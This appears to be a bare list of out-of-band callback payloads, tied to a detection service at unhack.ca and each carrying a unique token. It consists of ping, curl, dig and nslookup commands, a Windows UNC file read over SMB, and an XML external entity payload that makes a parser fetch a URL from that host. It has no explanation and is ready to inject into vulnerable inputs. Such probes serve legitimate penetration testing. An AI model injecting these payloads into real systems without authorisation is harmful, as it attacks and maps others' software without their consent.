$ ping -c1 -p 00ce3760e50c08e3a83ebeb39d9b3d00 unhack.ca
 

$ curl http://unhack.ca/p/ce3760e50c08e3a83ebeb39d9b3d
 

$ dig ce3760e50c08e3a83ebeb39d9b3d @unhack.ca
 

$ dig ce3760e50c08e3a83ebeb39d9b3d.ns.unhack.ca
 

C:\> nslookup ce3760e50c08e3a83ebeb39d9b3d unhack.ca
 

C:\> type \\unhack.ca\ce3760e50c08e3a83ebeb39d9b3d\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/ce3760e50c08e3a83ebeb39d9b3d">]>
    <foo>&xxe;</foo>